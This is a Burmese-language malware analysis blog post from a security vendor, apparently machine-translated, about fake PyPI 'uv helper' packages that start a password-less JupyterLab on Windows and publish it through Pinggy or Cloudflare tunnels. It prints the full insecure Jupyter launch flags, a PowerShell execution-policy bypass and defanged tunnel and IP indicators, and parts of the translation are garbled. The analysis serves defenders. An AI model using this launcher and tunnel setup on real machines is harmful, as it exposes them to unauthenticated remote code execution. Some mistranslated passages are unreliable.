FauxUV: အတု PyPI uv ပက်ကေ့ဂျ်များသည် Jupyter ကို ဝဘ်သို့ ဖွင့်ပေးသည်

FauxUV: အထောက်အထားမခိုင်လုံသော Jupyter server ကို အင်တာနက်သို့ ဖွင့်ပေးသည့် အတုအယောင် PyPI uv helper များ

မာတိကာ

မဖြစ်မနေဖတ်သင့်သောပို့စ်များ

စိတ်ဝင်စားဖွယ်ကောင်းသော နောက်ဆုံးပို့စ်များ

TL; DR

PyPI package အစုအဝေးတစ်ခုသည် ၎င်း၏အမည်ကို ယူထားသည် uvuv helpers တွေအဖြစ်ဟန်ဆောင်ဖို့ မြန်ဆန်ပြီး အလွန်ရေပန်းစားတဲ့ Rust-based Python package manager တစ်ခုပါ။ သူတို့မှာ တကယ့်လုပ်ဆောင်ချက်တွေ မရှိသလောက်ပါပဲ။ အဲဒီအစား သူတို့သယ်ဆောင်လာတာက Windows payload တစ်ခုပါပဲ။ အထောက်အထားစိစစ်ခြင်းကို ပိတ်ထားသော JupyterLab ဆာဗာ နောက်ပိုင်းဗားရှင်းများတွင် ၎င်းကို ပြောင်းပြန်ဥမင်လိုဏ်ခေါင်းမှတစ်ဆင့် အများပြည်သူသုံးအင်တာနက်သို့ ထုတ်ဝေသည်။

အဲဒါက တစ်ကြောင်းတည်းနဲ့ ဇာတ်လမ်းတစ်ခုလုံးပါ။ ယုံကြည်စိတ်ချရသော tool တစ်ခု၏အမည်ကို lurder အဖြစ်နှင့် remote-code-execution engine အဖြစ် JupyterLab ကို အသုံးပြုပါ။ Jupyter server က သင်ရိုက်ထည့်တဲ့ မည်သည့် code ကိုမဆို run ပေးပါတယ်ebook ဆဲလ်; တိုကင်အလွတ်တစ်ခုဖြင့် စတင်ပြီး ကွန်ရက်မျက်နှာပြင်တိုင်းနှင့် ချိတ်ဆက်ထားသော ဆဲလ်တစ်ခုသည် port သို့ရောက်ရှိနိုင်သူတိုင်း မောင်းနှင်နိုင်သော open interpreter တစ်ခုဖြစ်သည်။

ကျွန်ုပ်တို့သည် cluster ကို ခြေရာခံသည့်အနေဖြင့် အတုအယောင် UVစစ်ဆေးထားသော အထုပ်နှစ်ခုမှာ moon-uv (0.0.1-0.0.16) နှင့် my-magic-uv-helper (0.0.1)၊ တူညီသော အော်ပရေတာမှ ထုတ်ဝေပြီး ခွဲခြမ်းစိတ်ဖြာချိန်တွင် PyPI တွင် တိုက်ရိုက်ထုတ်လွှင့်နေသည်။

ဂေဟစနစ်PyPI
packagesmoon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1)
ပလက်ဖောင်းကို ပစ်မှတ်ထားသည်Windows ကို
အဓိက အပြုအမူအထောက်အထားမပြနိုင်သော JupyterLab server ကို reverse tunnel မှတစ်ဆင့် အင်တာနက်သို့ ထုတ်ဝေခဲ့သည်
တရားဝင်ကိရိယာများကို အလွဲသုံးစားပြုခြင်းuv၊ JupyterLab၊ cloudflared၊ Pinggy

ဆွဲဆောင်ချက်- သင်ယုံကြည်ပြီးသား နာမည်တစ်ခု

uv သည် လွန်ခဲ့သော နှစ်နှစ်အတွင်း အများဆုံး ထည့်သွင်းထားသော Python tools များထဲမှ တစ်ခုဖြစ်သောကြောင့် "အတွက် အထောက်အကူတစ်ခု" uv" သည် developer တစ်ဦးက ဒုတိယအကြိမ် စဉ်းစားခြင်းမရှိဘဲ ထည့်သွင်းသော package တစ်ခုဖြစ်သည်။ FauxUV သည် ၎င်း၏ယုံကြည်စိတ်ချရမှုကို ထိုအမည်အတွက် အပြည့်အဝအသုံးပြုသည်။ package များသည် စစ်မှန်သော uv Astral မှ installer — စစ်မှန်ပြီး နာမည်ကောင်းရှိသော host များရှိ payload point ရှိ URL များ — ထို့ကြောင့် အမြန်ကြည့်လိုက်လျှင် ယုံကြည်စိတ်ချရသော ရည်ညွှန်းချက်များမှလွဲ၍ ဘာမှမတွေ့ရပါ။ package များထဲမှ မည်သည့် package မှ အမှန်တကယ်ထည့်သွင်းခြင်းမရှိပါ uv လုပ်ဆောင်ချက်။ အမည်သည် အသွင်အပြင်တစ်ခုလုံးဖြစ်သည်။

RCE အင်ဂျင်အဖြစ် JupyterLab ကို

payload ရဲ့ အဓိကအချက်ကတော့ guardrail တိုင်းကို ဖယ်ရှားပြီး JupyterLab ကို စတင်တဲ့ launcher တစ်ခုပါ။

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

အလံတစ်ခုစီသည် ကာကွယ်မှုတစ်ခုကို ဖယ်ရှားပေးပြီး ပေးပို့ထားသော script တွင် ၎င်းတို့ကိုပင် မှတ်ချက်ပေးထားသည် (မူရင်းတရုတ်ဘာသာဖြင့်)- ဗလာတိုကင် "စကားဝှက်နှင့် တိုကင်စစ်ဆေးမှုများကို ပိတ်သည် — မည်သူမဆို ချိတ်ဆက်နိုင်သည်။" Jupyter ဓာတ်ခွဲခန်း တရားဝင် data-science IDE တစ်ခုဖြစ်ပေမယ့်ebook cell သည် ဒီဇိုင်းအရ arbitrary code ကို execute လုပ်သည်။ ဤနည်းဖြင့် configure လုပ်၍ bound လုပ်သည် 0.0.0.0၎င်းသည် IDE အဖြစ်မှ ရပ်တန့်ပြီး host ပေါ်တွင် unauthenticated remote shell တစ်ခု ဖြစ်လာသည် — custom malware binary မလိုအပ်ပါ၊ mainstream tool တစ်ခုက မှားယွင်းသောလမ်းကို ညွှန်ပြပေးရုံသာ ဖြစ်သည်။

ထောက်ပံ့ပေးသော အပိုင်းနှစ်ပိုင်းသည် ၎င်းကို ရောက်ရှိနိုင်ပြီး ထပ်ခါတလဲလဲ လုပ်ဆောင်နိုင်စေသည်-

  • တိတ်ဆိတ်သော ထည့်သွင်းမှု အစပျိုးကိရိယာ။ အစောပိုင်းဗားရှင်းများသည် PowerShell ကို ဖြင့် လုပ်ဆောင်သည် - အကောင်အထည်ဖော်မှုမူဝါဒကျော်ဖြတ်ခြင်း တည့်တည့်မှ setup.py on pip ကို install လုပ်ပါ။အမှားများကို နှိမ်နင်းထားသည့် နောက်ခံတွင် PIP ပုံမှန်ပုံပေါ်ပါတယ်။ နောက်ပိုင်းဗားရှင်းတွေက မူလအတိုင်း ရွှေ့ပါတယ် pip-uv command-line tool — ပြီးတော့ install-time auto-run ကို လုံးဝဖယ်ရှားလိုက်ပါ။
  • အများပြည်သူသုံး ပြောင်းပြန်ဥမင်လိုဏ်ခေါင်း။ ဆာဗာတစ်ခုဖွင့်ထားသည် 0.0.0.0 စက်သို့ လမ်းကြောင်းပေးနိုင်သော host များသာ ရောက်ရှိနိုင်သေးသည်။ bundle module သည် [Pinggy]( ကို ဖွင့်သည်https://pinggy.io/) ဒေသတွင်း Jupyter port ကို အများသုံးလိပ်စာသို့ ပေးပို့ပြီး ထိုကန့်သတ်ချက်ကို ဖယ်ရှားပေးသည့် SSH reverse tunnel။ ပေးပို့ထားသော script တွင် Cloudflare ၏ လမ်းကြောင်းကို အသုံးပြု၍ အခြားလမ်းကြောင်းတစ်ခုကိုလည်း သယ်ဆောင်ထားသည် (မှတ်ချက်ပေးထားသည်) မိုးတိမ်များ ဖုံးလွှမ်းနေသော နှင့်တစ်ဦး ပိုက်ဆံ Linode IP သို့ port-proxy ပေးပို့ပြီး မတူညီသော အခြေခံအဆောက်အအုံများမှတစ်ဆင့် တူညီသောရည်မှန်းချက်ကို မှတ်တမ်းတင်သည်။

ပေါင်းစပ်လိုက်လျှင် package ကို install လုပ်လိုက်လျှင် Windows host သည် စကားဝှက်မဲ့ JupyterLab ကို run ပြီး open internet တွင် publish လုပ်ပါလိမ့်မည်။

FauxUV ဘယ်လို ဆင့်ကဲပြောင်းလဲလာသလဲ

FauxUV ရဲ့ ဗားရှင်းတွေကို မြန်မြန်ဆန်ဆန် တင်ပို့ခဲ့ပြီး payload ရဲ့ trigger point က သူတို့အပေါ်မှာ ရွှေ့သွားခဲ့ပါတယ် - ဒါက flagged version တစ်ခုတည်းက package line ရဲ့ ဇာတ်လမ်းတစ်ခုလုံးကို ပြောပြခဲတယ်ဆိုတာ သတိပေးချက်ပါပဲ။

စင် ဗားရှင်း သေနတ်မောင်းခလုတ် ၎င်းက ဘာတွေထပ်ထည့်ပေးလဲ
တပ်ဆင်ရန်-ချိတ် moon-uv 0.0.1 –0.0.3, my-magic-uv-helper 0.0.1 setup.py pip ထည့်သွင်းမှုတွင် uv ထည့်သွင်းခြင်း + PATH ကြိုတင်ထည့်သွင်းခြင်း
CLI-runtime moon-uv 0.0.5-0.0.13 pip-uv အမိန့် စကားဝှက်မဲ့ JupyterLab launcher
ပြွန်ခေါင်းလမ်း moon-uv 0.0.14-0.0.16 pip-uv အမိန့် တက်ကြွသော Pinggy ပြောင်းပြန်ဥမင်လိုဏ်ခေါင်း

ထူးခြားသည်မှာ၊ ထည့်သွင်းချိန် အလိုအလျောက်လည်ပတ်မှုသည် ဖယ်ရှားခံရ နောက်ပိုင်းဗားရှင်းတွေမှာ ပိုစွမ်းဆောင်ရည်မြင့်တဲ့အတွက် စကင်နာက သက်တမ်းစက်ဝန်းကိုပဲ ရိုက်ထည့်ပါတယ်။ hooks အသစ်ထွက်ရှိမှုများကို အမှတ်ပေးမည် နည်းသော အန္တရာယ်များတယ်၊ လုံးဝ ပြောင်းပြန်ပဲ။

ညှိနှိုင်းမှု၏ ညွှန်ပြချက်များ

ပက်ကေ့ဂျ်ရင်းမြစ်ကို ဖတ်ရှုခြင်းဖြင့် အတည်ပြုပြီးပါပြီ။ အဆုံးမှတ်များကို မှတ်သားထားသည် commented ဖိုင်များတွင် ရှိနေသော်လည်း ခွဲခြမ်းစိတ်ဖြာထားသော ဗားရှင်းမှ လုပ်ဆောင်ခြင်း မရှိပါ။ ကွန်ရက် အညွှန်းများကို ဖယ်ရှားထားသည်။

ပုံစံ အညွှန်းကိန်း
အမိန့်ပေးစနစ် ထည့်သွင်းပါ powershell -ExecutionPolicy Bypass pip install အချိန်မှာ စစ်မှန်တဲ့ uv installer ကို ရယူနေပါတယ်
JupyterLab အလံများ --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
ပြောင်းပြန်ဥမင်လိုဏ်ခေါင်း (တက်ကြွနေသည်) free[.]pinggy[.]io:443 ဒေသတွင်း ඉදිරියට ... 127.0.0.1:8888
ဥမင်လိုဏ်ခေါင်း host (မှတ်ချက်ပေးထားသည်) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (မှတ်ချက်ပေးထားသည်) 45[.]79[.]134[.]161 (လီနိုဒ်) မှတစ်ဆင့် netsh port-proxy
ဇှဲကောငျးခွငျး ကြိုတင်ပြင်ဆင်သည် %USERPROFILE%\.local\bin အသုံးပြုသူ PATH သို့

ဤတိကျသော ကြိုးများနှင့် မသက်ဆိုင်ဘဲ သတိပေးထိုက်သော အပြုအမူဆိုင်ရာ အချက်ပြမှုများ- a pip ကို install လုပ်ပါ။ ပေါက်ဖွားလာသော powershell - အကောင်အထည်ဖော်မှုမူဝါဒကျော်ဖြတ်ခြင်း; မည်သည့် ဂျူပီတာ ပေါင်းစပ်လွှတ်တင်ခြင်း တိုကင် = "" နှင့် –ip=0.0.0.0; နှင့် SSH မှ ထွက်ခွာရန် *.pinggy.io developer သို့မဟုတ် CI စက်မှ။

တွေ့ရှိရသော အပြုအမူနှင့် မူလအစ

package နှစ်ခုသည် စာရေးသူနှင့် နည်းလမ်းတစ်ခုကို မျှဝေထားသည်- ယုံကြည်စိတ်ချရသော tool ၏အမည်၊ Windows-only gating၊ error-suppressed background execution နှင့် ယုံကြည်စိတ်ချရသော tool များကို မှီခိုအားထားခြင်းကြောင့် လျင်မြန်စွာကြည့်ရှုခြင်းဖြင့် ယုံကြည်စိတ်ချရသော URL များကိုသာ မြင်တွေ့နိုင်သည်။ source တွင် လုံခြုံရေးနှင့်သက်ဆိုင်သော flags များကို ရှင်းလင်းစွာဖော်ပြသည့် တရုတ်ဘာသာမှတ်ချက်များပါရှိသည်။ ကျွန်ုပ်တို့သည် ၎င်းတို့ကို ဖိုင်တွင် မြင်နိုင်သောဖော်ပြချက်များအဖြစ် တင်ပြထားပြီး ရည်ရွယ်ချက်နှင့်ပတ်သက်သည့် တောင်းဆိုချက်အဖြစ် မဟုတ်ပါ။ မူရင်း_ခွင့်ပြုပါ တန်ဖိုးနှင့် colab.bat filename echo သည် Google Colab အတွက် လည်ပတ်နေသော informal “share my local runtime” workflows ဖြစ်သည်။ မူရင်းက ဘာပဲဖြစ်ဖြစ်၊ packaged result က အတူတူပါပဲ။

ကာကွယ်သူများအတွက် သက်ရောက်မှုနှင့် လမ်းညွှန်မှု

FauxUV နဲ့ ဘယ်သူတွေ ထိတွေ့ရလဲ။ Windows developer များနှင့် CI runner များ pip ကို install လုပ်ပါ။ ဤပက်ကေ့ဂျ်များထဲမှ တစ်ခုဖြစ်သည်။ စကားဝှက်မဲ့ JupyterLab တစ်ခု 0.0.0.0 port သို့ရောက်ရှိနိုင်သူတိုင်းအတွက် remote code execution ဖြစ်သည်။ tunnel သည် “၎င်းသို့ရောက်ရှိနိုင်သူ” ကန့်သတ်ချက်ကို ဖယ်ရှားပေးသည်။ server သည် install လုပ်သူအဖြစ် လုပ်ဆောင်ပြီး ထို user ၏ ဖိုင်များ၊ တိုကင်များနှင့် cloud credentials များကို အမွေဆက်ခံသည်။

ဘာကြောင့် အလွယ်တကူ မေ့ပျောက်နိုင်တာလဲ။ ကွန်ရက်တိုင်းဟာ နာမည်ကောင်းရှိတဲ့ host တစ်ခုဖြစ်တဲ့ Astral၊ JupyterLab တို့ကို ညွှန်ပြနေပါတယ်။ မိုးတိမ်များ ဖုံးလွှမ်းနေသော, Pinggy, Colab။ hash လုပ်ရန် malware binary လည်းမရှိ၊ decode လုပ်ရန် obfuscated blob လည်းမရှိပါ။ ဂုဏ်သတင်းနှင့် signature-based scanning နှစ်မျိုးလုံးသည် ဤအရာကို လျှော့တွက်ထားပြီး၊ ထို့ကြောင့် အပြုအမူဆိုင်ရာ မေးခွန်းသည် - ဒီ package ကို install လုပ်ရင် စက်က ဘာလုပ်ရမလဲ - ဖမ်းမိသူက သူပဲ။

လမ်းညွှန်:

  • မည်သည့်တပ်ဆင်ချိန်ကိုမဆို ဆက်ဆံပါ powershell - အကောင်အထည်ဖော်မှုမူဝါဒကျော်ဖြတ်ခြင်း တည်ဆောက်မှုကို ဖြိုခွင်းသည့် အချက်ပြမှုတစ်ခုအနေဖြင့်၊ မည်သည့် URL ကိုမဆို ရယူသည်။
  • သတိပေးချက်ဖွင့်ထားသည် ဂျူပီတာ ဗလာတိုကင်တစ်ခုဖြင့် စတင်ခဲ့ပြီး –ip=0.0.0.0; ထိုပေါင်းစပ်မှုသည် workstation သို့မဟုတ် runner တွင် ဘယ်တော့မှ ပေါ်လာသင့်မည်မဟုတ်ပါ။
  • tunnel provider များသို့ outbound SSH ကို စောင့်ကြည့်ရန်*.pinggy.io, *.trycloudflare.com) ဆော့ဖ်ဝဲရေးသားသူနှင့် CI ပတ်ဝန်းကျင်များမှ။
  • Install uv [၎င်း၏တရားဝင်ရင်းမြစ်] မှhttps://docs.astral.sh/uv/) ပြီးတော့ ထည့်သွင်းဖို့ ရိုးရှင်းပြီးသား tool တစ်ခုကို ထုပ်ပိုးထားတဲ့ third-party “helper” package တွေကို သံသယဝင်ပါ။
  • အဆင့်မြှင့်တင်မှုအပေါ် မှီခိုမှုများကို pin လုပ်ပြီး ပြန်လည်ပြန်လည်သုံးသပ်ပါ — package line သည် version-over-version စွမ်းရည်အသစ်များကို တိုးပွားစေနိုင်သည်။
sca-tools-software-composition-analysis-tools
သင့်ဆော့ဖ်ဝဲလ်အန္တရာယ်များကို ဦးစားပေးသတ်မှတ်ခြင်း၊ ပြုပြင်ခြင်းနှင့် လုံခြုံစေခြင်း
သင့်ရဲ့ အခမဲ့အကောင့်ကို ရယူလိုက်ပါ။
အကြွေးဝယ်ကဒ်မရှိပါ။

သင့်ရဲ့ Software Development နဲ့ Delivery ကို လုံခြုံအောင်ထားပါ

Xygeni ထုတ်ကုန်အစုံနှင့်အတူ